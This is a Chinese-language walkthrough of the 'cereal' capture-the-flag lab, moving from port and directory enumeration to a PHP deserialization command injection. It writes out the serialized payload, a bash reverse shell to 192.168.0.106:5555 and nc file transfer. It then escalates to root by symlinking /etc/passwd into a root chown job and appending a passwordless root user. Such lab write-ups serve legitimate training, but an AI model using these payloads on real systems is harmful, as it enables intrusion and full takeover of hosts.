目录
一、主机发现
二、端口扫描
三、服务版本探测
四、端口分析
1.21 ftp
21端口上就是开放了ftp服务,这也是ftp默认端口,我们可以知道ftp服务器ip,还知道可以匿名登录
2.22 80
开放了常用的服务ssh和http服务
3.139 445 3306
139 445一般部署的smb服务,只是基于不同的协议。
3306 mysql数据常用端口。这里显示允许连接。
4.其他端口
至于其他端口,除了44441开放了一个http服务,剩下的没有太多有效信息,服务也都没扫出来
五、信息收集
1.80
主页面没收获
源码:接口,隐藏目录,泄露源码都没发现。无收获
2.44441
更是啥都没有
六、目录爆破
1.80
(1)默认字典
直接扫,dir默认用common.txt跑,扫出来这些目录
可以一个wordpress(通过其他链接进行的判断)的后台登录界面,尝试弱口令无效
(2)/blog
有个域名信息,backup备份,
(3)phpinfo
可以了解到一些接口信息,配置文件信息,服务器语言运行环境(php)
2.44441
这里没有有效信息。
3.换个大字典跑
没有别的信息了
七、绑定域名
访问,结果还是一个Apache的默认页面。尝试去对这个域名下进行目录的爆破,根据提示,找备份文件,结果扒拉扒拉,还是一无所获。
1.80
2.44441
八、gobuster子域名爆破
gobuster vhost -u http://cereal.ctf:44441 -w /usr/share/seclists/Discovery/DNS/fierce-hostlist.txt
这里发现了一个子域名
九、secure.cereal.ctf
将ip和host文件进行绑定后访问,80还是和主界面一样
44441端口下部署了这样一个东西
十、突破点
1.功能
这是一个执行ping操作的接口。而且调用了操作系统的ping命令
2.命令注入
| && ;用这些尝试
尝试失败
3.抓包解码
很明显,这是一个php序列化后的数据,如何去利用这个反序列化,如何确定有没有反序列化漏洞。我们只能通过代码审计来确定是否存在反序列化漏洞,来构造payload。
4.dirbuster爆破备份文件
(1)备份文件可能文件名
.svn .git
尝试失败
(2)备份目录爆破
结果出来有一个back_en路径,这一看就是备份文件路径
(3)备份文件
选用seclists下的conmon.txt来进行爆破,200状态正常
十一、下载备份文件并审计
1.index.php.bak文件
这就是后端的代码
十二、构造payload
找一个php在线网站来执行就可
<?php
class pingTest {
public $ipAddress = "192.168.0.106";
public $isValid = True;
}
$obj = NEW pingTest;
$serilaze= serialize($obj);
echo urlencode($serilaze);
?>
十三、尝试注入
1.正常ping命令
2.反序列化造成的rce
在源码部分可以看到id命令执行成功执行
3.反弹shell
bash -i >& /dev/tcp/192.168.0.106/5555 0>&1
<?php
class pingTest {
public $ipAddress = "192.168.0.106;bash -i >& /dev/tcp/192.168.0.106/5555 0>&1 ";
public $isValid = True;
}
$obj = NEW pingTest;
$serilaze= serialize($obj);
echo urlencode($serilaze);
?>
突破边界,反弹成功:
十四、pspy捕捉定时进程——提权
总结:在前面的学习中,我们学到了很多的提权手段,内核漏洞,suid权限继承,sudo 权限的配置,motd注入,缓冲区溢出,利用redis未授权,用mysql写入公钥,这些手段在这里都无法提权。
1.pspy进程监视软件
简述:这个软件可以在是普通用户的情况下,可以监视root生成的进程。看是否有可用于提权的进程产生。
由于目标是64位的,我们也下载一个64位的。
2.通过nc传输
nc -nvlp 4444 > pspy
nc 192.168.0.104 4444 < pspy64 -w 1
3.执行pspy
第一步给权限,后执行
我叼,啥都有,不得不说这是个系统排查的神器。
4.chown.py
我们发现了一个异常文件,尝试对其进行分析
5.权限分析
属主属组全部是root,并且我们也是可以读的。
6.查看shell源码
主要就是对后面这个文件夹下的所有文件更改属主和属组为rocky:apache,那么我们可以通过链接的方式来改掉/etc/passwd的属组和属主,我们当前是apache群组。
7.通过软连接修改主和组
ln参数-f:
-f 促使 ln
命令替换掉任何已经存在的目的路径。如果目的路径已经存在,而没有指定 -f
标志,ln
命令不会创建新的链接,而是向标准错误写一条诊断消息并继续链接剩下的
SourceFiles。
8.十分钟漫长等待
可以看到文件已经被改掉了
9.追加root用户
echo "mhq::0:0:root:/root:/bin/bash" >> /etc/passwd
提权成功